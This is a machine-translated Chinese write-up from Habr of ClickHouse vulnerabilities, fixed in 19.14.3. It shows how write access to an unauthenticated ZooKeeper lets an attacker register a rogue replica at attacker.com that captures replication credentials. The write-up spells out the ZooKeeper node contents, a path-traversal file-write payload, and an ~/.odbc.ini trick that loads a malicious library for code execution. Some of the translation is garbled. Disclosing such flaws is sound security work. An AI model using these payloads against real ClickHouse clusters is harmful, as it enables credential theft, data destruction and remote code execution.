本文将讲述 ClickHouse 复制协议中一个非常具体的漏洞的故事,还将展示如何扩展攻击面。
ClickHouse 是一种用于存储大量数据的数据库,通常使用多个副本。 ClickHouse 中的集群和复制是建立在之上的
默认的ZK安装不需要身份验证,因此用于配置Kafka、Hadoop、ClickHouse的数千台ZK服务器是公开可用的。
为了减少攻击面,您应该在安装 ZooKeeper 时始终配置身份验证和授权
当然有一些基于 0day 的 Java 反序列化,但想象一下攻击者可以读取和写入用于 ClickHouse 复制的 ZooKeeper。
当配置为集群模式时,ClickHouse支持分布式查询 /clickhouse/task_queue/ddl
.
例如,您创建一个节点 /clickhouse/task_queue/ddl/query-0001
内容:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
之后,集群服务器host1和host2上的测试表将被删除。 DDL 还支持运行 CREATE/ALTER/DROP 查询。
听起来很可怕吗? 但是攻击者可以从哪里获得服务器地址呢?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
将创建节点 列 и 元数据.
内容 /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
是否可以合并该集群中的数据? 是的,如果复制端口(TCP/9009
) 在服务器上 chXX-address
防火墙不会关闭,并且不会配置复制身份验证。 如何绕过身份验证?
攻击者只需复制 ZK 中的内容即可在 ZK 中创建新副本 /clickhouse/tables/01-01/foobar/replicas/chXX
并改变意义 host
.
内容 /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
然后你需要告诉其他副本,攻击者的服务器上有一个新的数据块需要他们获取——在ZK中创建了一个节点 /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX单调增长计数器,应大于事件日志中的最后一个):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
哪里 源_副本 — 在上一步中创建的攻击者副本的名称, 区块ID — 数据块标识符, 得到 - “获取块”命令(和
接下来,每个副本都会读取日志中的一个新事件,并前往攻击者控制的服务器接收数据块(复制协议是二进制的,运行在 HTTP 之上)。 服务器 attacker.com
将收到请求:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
其中 XXX 是用于复制的身份验证数据。 在某些情况下,这可能是通过主 ClickHouse 协议和 HTTP 协议访问数据库的帐户。 正如您所看到的,攻击面变得非常大,因为用于复制的 ZooKeeper 没有配置身份验证。
让我们看一下从副本中获取数据块的功能,它的编写充满信心,所有副本都处于适当的控制之下并且它们之间存在信任。
复制处理代码
该函数读取文件列表,然后读取它们的名称、大小、内容,然后将它们写入文件系统。 值得单独描述数据如何存储在文件系统中。
里面有几个子目录 /var/lib/clickhouse
(配置文件中的默认存储目录):
标志 - 录音目录
TMP — 存储临时文件的目录;
用户文件 — 请求中文件的操作仅限于此目录(INTO OUTFILE 等);
元数据 — 带有表描述的 sql 文件;
预处理配置 - 处理衍生配置文件 /etc/clickhouse-server
;
data - 包含数据本身的实际目录,在这种情况下,为每个数据库简单地在此处创建一个单独的子目录(例如 /var/lib/clickhouse/data/default
).
对于每个表,都会在数据库目录中创建一个子目录。 每列都是一个单独的文件,具体取决于
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
副本期望在处理数据块时接收具有相同名称的文件,并且不以任何方式验证它们。
细心的读者可能已经听说过函数中 file_name 的不安全串联 WriteBufferFromFile
。 是的,这允许攻击者以用户权限向 FS 上的任何文件写入任意内容 clickhouse
。 为此,攻击者控制的副本必须返回以下对请求的响应(为了便于理解已添加换行符):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
并连接后 ../../../../../../../../../tmp/pwned
该文件将被写入 /tmp/pwned 有内容 你好来自动物园管理员.
有多种选项可将文件写入功能转变为远程代码执行 (RCE)。
RCE 中的外部字典
在旧版本中,ClickHouse设置的目录是用用户权限存储的 点击之家 默认。 设置文件是服务在启动时读取然后缓存在其中的 XML 文件 /var/lib/clickhouse/preprocessed_configs
。 当发生变化时,它们会被重新读取。 如果您有权访问 /etc/clickhouse-server
攻击者可以创建自己的 root
.
ODBC 到 RCE
安装包时,会创建一个用户 clickhouse
,但未创建其主目录 /nonexistent
。 但是,当使用外部词典时,或者由于其他原因,管理员会创建一个目录 /nonexistent
并给用户 clickhouse
访问写入它(SSZB! 约译者).
ClickHouse 支持 odbc-bridge
,因此无法再从请求中指定驱动程序路径。 但是攻击者可以利用上述漏洞写入主目录吗?
让我们创建一个文件 ~/.odbc.ini
内容如下:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
然后在启动时 SELECT * FROM odbc('DSN=lalala', 'test', 'test');
该库将被加载 test.so
并收到 RCE(感谢
这些漏洞和其他漏洞已在 ClickHouse 版本 19.14.3 中修复。 照顾好你的 ClickHouse 和 ZooKeeper!
来源: habr.com